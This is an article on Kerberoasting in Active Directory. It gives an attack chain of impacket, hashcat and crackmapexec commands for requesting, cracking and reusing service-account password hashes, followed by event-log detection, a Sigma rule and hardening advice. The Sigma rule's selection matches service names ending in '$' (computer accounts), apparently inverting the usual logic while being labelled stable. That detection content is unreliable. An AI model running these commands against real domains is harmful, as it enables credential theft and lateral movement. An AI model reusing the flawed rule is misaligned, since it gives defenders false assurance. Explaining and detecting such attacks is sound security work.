Kerberoasting remains one of the most reliable privilege escalation paths in Active Directory environments — not because it’s sophisticated, but because the conditions enabling it are endemic to enterprise networks.

How Kerberos Service Tickets Work

When a user authenticates to a service in Active Directory, the Kerberos Key Distribution Center (KDC) issues a Ticket Granting Service (TGS) ticket encrypted with the service account’s NTLM hash. Any authenticated domain user can request this ticket.

The critical detail: the ticket is encrypted with the service account’s password hash. If the password is weak enough to crack offline, the attacker gains the cleartext password — no interaction with the service required, no network noise after the initial ticket request.

The Attack Chain

Terminal window
# 1. Enumerate SPNs (Service Principal Names)
impacket-GetUserSPNs -request -dc-ip 10.10.10.1 DOMAIN/user:password


# 2. Crack the hash offline
hashcat -m 13100 spn_hashes.txt /opt/wordlists/rockyou.txt --rules-file OneRuleToRuleThemAll.rule


# 3. Verify and move laterally
crackmapexec smb 10.10.10.0/24 -u 'svc_sql' -p 'CrackedPassword123!'

Detection Opportunities

The Kerberos event log offers several detection points:

Event ID 4769 — A Kerberos service ticket was requested. High-volume TGS requests from a single account in a short time window is a reliable signal.

EventID: 4769
TicketEncryptionType: 0x17  # RC4-HMAC — weak, legacy
ServiceName: MSSQLSvc/...
AccountName: <requesting user>

The encryption type is the key indicator. Modern environments should be using AES (0x12/0x18). RC4 requests for service tickets warrant investigation.

Sigma rule:

title: Kerberoasting Activity
id: 40b7a6f3-09b2-4c3a-b5f2-8c77e7a9c8d1
status: stable
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4769
    TicketEncryptionType: '0x17'
    ServiceName|endswith:
      - '$'
  filter_computer:
    AccountName|endswith: '$'
  condition: selection and not filter_computer
falsepositives:
  - Legacy systems requiring RC4
level: medium

Hardening

  1. Enforce AES encryption — Set msDS-SupportedEncryptionTypes on service accounts to require AES (value: 0x18).

  2. Managed Service Accounts (gMSA) — Automatically rotate passwords (240-character random), eliminating crackability. Drop-in replacement for most service account use cases.

  3. Privileged account isolation — Service accounts with SPNs should never have domain admin rights. Scope permissions to what the service actually needs.

  4. Password length policy — If you can’t migrate to gMSA, enforce 25+ character passwords on all SPN accounts. 25+ characters with standard complexity makes offline cracking computationally infeasible with current hardware.

Conclusion

Kerberoasting’s longevity as an attack technique reflects a structural problem: service accounts are long-lived, often over-privileged, and their passwords rarely rotated. The fix is architectural, not just technical. Migrate to gMSAs, enforce AES, and segment service account privileges. The detection is straightforward — the hardening is what organizations avoid.